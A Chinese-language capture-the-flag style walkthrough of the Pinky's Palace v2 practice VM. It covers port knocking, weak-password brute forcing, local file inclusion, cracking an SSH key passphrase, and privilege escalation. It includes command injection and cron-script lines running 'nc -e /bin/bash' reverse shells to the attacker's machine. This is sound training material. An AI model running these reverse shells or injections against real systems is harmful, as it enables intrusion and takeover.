靶场练习 - PINKY’S PALACE: V2

靶场搭建

下载后直接导入虚拟机,默认是NAT模式,直接启动。

IP:192.168.253.130

信息初收集

80/tcp    open     http
4655/tcp  filtered unknown
7654/tcp  filtered unknown
31337/tcp filtered Elite
http://192.168.253.130/ [200 OK] Apache[2.4.25], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.25 (Debian)], IP[192.168.253.130], JQuery[1.12.4], MetaGenerator[WordPress 4.9.4], PoweredBy[WordPress,WordPress,], Script[text/javascript], Title[Pinky's Blog – Just another WordPress site], UncommonHeaders
, WordPress[4.9.4]

是一个wordpress的网站

[04:24:02] 200 -  456B  - /secret/  
[04:24:21] 301 -  324B  - /wp-includes  ->  http://192.168.253.130/wp-includes/

看到有一个提示性的目录,里面有个txt,内容如下:

8890
7000
666

pinkydb

三个数字看上去像三个端口,但是并没有开放。所以我合理怀疑跟之前的靶场一样需要knock一下才会开放。

于是knock一下这三个端口

┌──(root㉿kali)-[~]
└─# knock 192.168.253.130 8890 7000 666

发现这三个之前处于过滤状态的端口都开放了。

识别一下这三个端口的具体服务

4655/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u3 (protocol 2.0)
7654/tcp open  http    nginx 1.10.3
31337/tcp open  Elite?

31337端口没识别出来,直接访问发现是一个后门信息哇!

[+] Welcome to The Daemon [+]
�This is soon to be our backdoor
�into Pinky's Palace.
=> �GET / HTTP/1.1
Host: 192.168.253.130:31337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1

nc连了一下,没有发现是重复输出,搞不明白了,先不管吧。

4655是SSH,先丢一边,看这个7654是nginx,直接访问IP的话没有办法访问,所以必须按照靶场说明添加一条本地解析。

┌──(root㉿kali)-[~]
└─# echo 192.168.253.130 pinkydb | sudo tee -a /etc/hosts

然后访问http://pinkydb:7654/

发现是登录界面,二话不说直接sql注入,注入不了一点==、

那只有尝试弱口令了啊,先从80端口收集一下账号,得到一个账号:pinky1337,再加几个账号进行爆破,pinky,root,admin直接启动

渗透利用

弱口令

可以通过cewl工具通过爬虫生成字典,或者rockyou、其他的字典生成方式。

拿到账号密码两组

pinky\Passione
pinky1337\Pinky

登录看看怎么个事

文件包含

登录进来之后看到URL就是一个文件包含,直接改成/etc/passwd,发现读取成功。确实存在文件包含,但是也没有写入点,日志没有访问权限,没办法写马。

RSA私钥登录

通过登录口进去看到了有一个RSA私钥,通过note页面知道这个是Stefano的私钥,直接登录她的终端看看。

先将密钥的权限设置为600:chmod 600 id_rsa

然后尝试登录:ssh -i id_rsa stefano@192.168.253.130 -p 4655

发现有密钥也有密码的,那么就用john破解一下

┌──(root㉿kali)-[~/Downloads]
└─# ssh2john id_rsa >> id_rsa.txt

┌──(root㉿kali)-[~/Downloads]
└─# john -w=/usr/share/wordlists/rockyou.txt id_rsa.txt
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
secretz101       (id_rsa)     
1g 0:00:00:00 DONE (2024-04-29 08:32) 1.369g/s 1788Kp/s 1788Kc/s 1788KC/s secter..secretshadow
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

得到口令:secretz101

然后ssh连接上去

提权

查看命令记录,发现存在一个qsub文件,但是没有权限执行,看到权限感觉和www用户是有关系的,那用之前文件包含的漏洞包一下看看

包含到之后看到有内容之中有一条可以的命令/bin/echo %s >> /home/pinky/messages/stefano_msg.txt%s TERM,可能有问题

可以把这个文件下载下来,然后逆向分析。

这个二进制文件的逻辑是,通过判断TERM环境变量的值,和输入的密码是否相符合,如果相符合才会进行下一步,也就是执行上上面的命令。

上面的命令明显可以进行RCE。

那么我们就查看一下TERM变量的值,在输入密码的时候输入这个值,然后触发RCE

stefano@Pinkys-Palace:~/tools$ echo $TERM
xterm-256color

反弹shell

stefano@Pinkys-Palace:~/tools$ ./qsub '$(nc -e /bin/bash 192.168.253.128 443)'
[+] Input Password: xterm-256color

拿到了pinky的shell

查看命令记录,看到有一个backup.sh的文件,查看一下这个文件,估计是个定时任务,发现是需要pinky用户组的用户,所以我再将这个用户加入至pinky用户组:newgrp pinky

newgrp 命令是用于切换用户的初始登录组。在类Unix操作系统中,每个用户都有一个初始登录组,通常与其用户名相同。newgrp 命令允许用户在不注销的情况下更改其初始登录组。

当用户使用 newgrp 命令时,系统会要求用户输入要切换到的新组的密码(如果有密码)。完成验证后,用户的初始登录组将更改为新组,并且用户将在新组的环境中继续工作,直到注销登录或者再次使用 newgrp 命令切换回原始的初始登录组。

这个命令通常用于管理文件和目录的访问权限,以及在多用户环境下进行协作工作。

然后就用权限读写backup.sh文件了

echo "nc -e /bin/bash 192.168.253.128 5555" > backup.sh

监听后等待反弹shell

弹过来之后就拿到了demon的权限。

缓冲区溢出

后面的缓冲区溢出攻击我就不会了,之后再说吧J8

小结

循环的信息收集,一点点寻找可以利用的点拿到更多权限

感觉对交互式shell的理解还是很欠缺,没有对提升交互式shell的底层理解。需要继续搞一搞linux

二进制安全有时间该开始了,缓冲区的这种漏洞虽然原理明白,但是具体的基础知识和细节什么都不会。

评论区
头像
文章目录